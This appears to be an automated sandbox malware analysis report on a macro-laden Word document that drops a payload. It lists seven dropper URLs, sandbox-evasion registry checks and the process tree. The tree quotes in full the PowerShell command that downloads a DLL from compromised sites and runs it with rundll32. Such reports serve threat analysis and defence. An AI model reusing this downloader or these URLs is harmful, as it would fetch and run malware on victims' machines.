Analysis
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max time kernel
29s -
max time network
31s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
17/11/2021, 06:23
Static task
static1
Behavioral task
behavioral1
Sample
DAG3HZMYGXISZJ.docm
Resource
win7-en-20211104
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DAG3HZMYGXISZJ.docm
Resource
win10-en-20211104
0 signatures
0 seconds
General
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Target
DAG3HZMYGXISZJ.docm
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://evgeniys.ru/sap-logs/D6/
exe.dropper
http://crownadvertising.ca/wp-includes/OxiAACCoic/
exe.dropper
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
exe.dropper
http://immoinvest.com.br/blog_old/wp-admin/luoT/
exe.dropper
https://yoho.love/wp-content/e4laFBDXIvYT6O/
exe.dropper
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
exe.dropper
https://www.pasionportufuturo.pe/wp-content/XUBS/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2404 3592 cmd.exe 26 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3592 WINWORD.EXE 3592 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3012 powershell.exe 3012 powershell.exe 3012 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3012 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3592 WINWORD.EXE 3592 WINWORD.EXE 3592 WINWORD.EXE 3592 WINWORD.EXE 3592 WINWORD.EXE 3592 WINWORD.EXE 3592 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3592 wrote to memory of 2404 3592 WINWORD.EXE 70 PID 3592 wrote to memory of 2404 3592 WINWORD.EXE 70 PID 2404 wrote to memory of 3012 2404 cmd.exe 72 PID 2404 wrote to memory of 3012 2404 cmd.exe 72
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DAG3HZMYGXISZJ.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3012
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